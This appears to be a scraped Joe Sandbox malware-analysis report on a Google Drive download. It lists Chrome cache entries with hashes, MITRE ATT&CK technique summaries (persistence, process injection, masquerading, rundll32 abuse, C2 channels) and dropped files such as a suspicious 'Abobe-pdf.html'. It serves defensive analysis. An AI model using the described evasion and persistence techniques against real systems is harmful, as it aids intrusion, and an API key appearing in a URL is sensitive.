Encrypted:	false
SSDEEP:
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
Reputation:	unknown
URL:	https://ssl.gstatic.com/docs/common/viewer/v3/v-sprite60.svg
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	116987
Entropy (8bit):	5.487092744347448
Encrypted:	false
SSDEEP:
MD5:	DF907C9E6BC048EA1505930FAB9010A9
SHA1:	51FF7084F44C713E30335C5D30CFC1AAC8F34774
SHA-256:	B3B7340EE6C9240EE8FCFEDA03C6EF4CE7DB0DD0DC213B19C8D4C87ADDC15105
SHA-512:	27D9A9B0372D97847418488D9F1DF50C0CA475156EF78E0103D45084580806232C0EBD3087729A9860E059B0DC620D367E0617B8BDE43FFBC8B42253C528B58B
Malicious:	false
Reputation:	unknown
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);.var aa,ba,fa,ma,na,ra,sa,ua;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ka=fa(this);ma=function(a,b){if(b)a:{var c=_.ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)r

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3883)
Category:	dropped
Size (bytes):	923231
Entropy (8bit):	5.549222597602766
Encrypted:	false
SSDEEP:
MD5:	756AC7DD286BFCFFE603729E71219D7D
SHA1:	06F1C459FB3CC71C853772BB615E38BAB129B90F
SHA-256:	1EC2D9B2C6D716A7CA01E4D8F148D84E80FA46BD4C5FC79DFC76B017C242FD9B
SHA-512:	C9310105A7A2334373EE6858665E420F4AC5863378BFFFD75387572441EC68219C0F0460992247CF7CC5B859D9F452DE74BCEAB1452C80938FECC33BE15167AF
Malicious:	false
Reputation:	unknown
Preview:	try{.var BYc=function(a){if(AYc.has(a))return AYc.get(a);throw Error("Jh`"+a);},DYc=function(a){if(CYc.has(a))return CYc.get(a);throw Error("Kh`"+a);},EYc=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].kk);return b},NR=function(a){this.aa=p(a)};R(NR,x);for(var FYc={ARROW_KEYS:{string:"arrow_keys",kk:"Wxn7ub"},AUTOMATED:{string:"automated",kk:"wjpLYc"},CLICK:{string:"click",kk:"cOuCgd"},DRAGEND:{string:"dragend",kk:"RlD3W"},DROP:{string:"drop",kk:"DaY83b"},GENERIC_CLICK:{string:"generic_click",kk:"szJgjc"},HOVER:{string:"hover",kk:"ZmdkE"},IMPRESSION:{string:"impression",kk:"xr6bB"},KEYBOARD_ENTER:{string:"keyboard_enter",kk:"SYhH9d"},KEYPRESS:{string:"keypress",kk:"Kr2w4b"},LONG_PRESS:{string:"long_press",kk:"tfSNVb"},MOUSEOVER:{string:"mouseover",.kk:"FrfE3b"},RIGHT_CLICK:{string:"rightclick",kk:"CYQmze"},SCROLL:{string:"scroll",kk:"XuHpsb"},SWIPE:{string:"swipe",kk:"eteedb"},VIS:{string:"vis",kk:"HkgBsf"}},AYc=EYc(FYc)

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (612)
Category:	dropped
Size (bytes):	6307
Entropy (8bit):	5.4393733715794905
Encrypted:	false
SSDEEP:
MD5:	EB3C10B0EA3008BF59E93FBA7C7DF3E0
SHA1:	42780161DCCCF03FD9804F2E39ADC641D24073DB
SHA-256:	B31A7F5158D3951D6FBDAD7103211FB425E59FF7543D08C71C11A894B5BF5A24
SHA-512:	777D8DE1482F2CC9F200698542671208B9882E6F561CF398A203973420F6EF1A692B563E889FCB5F897B4C90EFFE915250153C971333DE64D97212A6C8700618
Malicious:	false
Reputation:	unknown
Preview:	try{.B("MpJwZc");..D();.}catch(e){_DumpException(e)}.try{.B("UUJqVe");..D();.}catch(e){_DumpException(e)}.try{.eg(hA);.}catch(e){_DumpException(e)}.try{.B("s39S4");.var zDc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),$0a(b,!1))},ADc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return wh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);fla(a)},EDc=function(){BDc\|\|(BDc=!0,CDc=qja,qja=function(a){CDc&&CDc(a);for(var b=0;b<a.length;b++){var c=a[b];Qf(c)&&.fg(Yf(c)).JVa(c)}},DDc=rja,rja=function(a){DDc&&DDc(a);for(var b=0;b<a.length;b++){var c=a[b];Qf(c)&&fg(Yf(c)).KVa(c)}})},FDc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-css-collection]")));for(v

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	unknown
URL:	https://blobcomments-pa.clients6.google.com/v1/pdfFields?docId=1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{}.

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65311)
Category:	downloaded
Size (bytes):	83981
Entropy (8bit):	4.7735566283508355
Encrypted:	false
SSDEEP:
MD5:	3D5EF2BF867C4054A2F336CDBAD9E1DC
SHA1:	07228D1FA3245EE156A27A353F45758A3207849F
SHA-256:	A361E7885C36BACB3FD9CB068DA207C3B9329962CAC022D06E28923939F575E8
SHA-512:	168DEB96B663FE4EEE8D39C78380864760FB912B34BF82CB6A7C36AA4B18B91944CCEFAD71A10F428810D0A6A818DDBAFF3AE7DB42264750DFB8B5A73A8EDA04
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
Preview:	/!. Font Awesome Free 6.0.0-beta3 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2021 Fonticons, Inc.. */..fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-duotone,.fa-light,.fa-regular,.fa-solid,.fa-thin,.fab,.fad,.fal,.far,.fas,.fat{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.0

Static File Info

⊘No static file info

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Downloads\4eb0c658-4421-44f1-b3bf-ab2e19c1d8c1.tmp

C:\Users\user\Downloads\52344bdc-0de4-487e-8a01-6cff86d5633d.tmp

C:\Users\user\Downloads\Abobe-pdf.html (copy)

C:\Users\user\Downloads\Abobe-pdf.html.crdownload (copy)

C:\Users\user\Downloads\Cahier des Charges.pdf (copy)

C:\Users\user\Downloads\Cahier des Charges.pdf.crdownload (copy)

C:\Users\user\Downloads\c13064f1-b3fd-4794-ba3b-c13fb7034139.tmp

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 118

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 125

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 136

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 145

Chrome Cache Entry: 147

Chrome Cache Entry: 149

Chrome Cache Entry: 152

Chrome Cache Entry: 155

Windows Analysis Report
https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY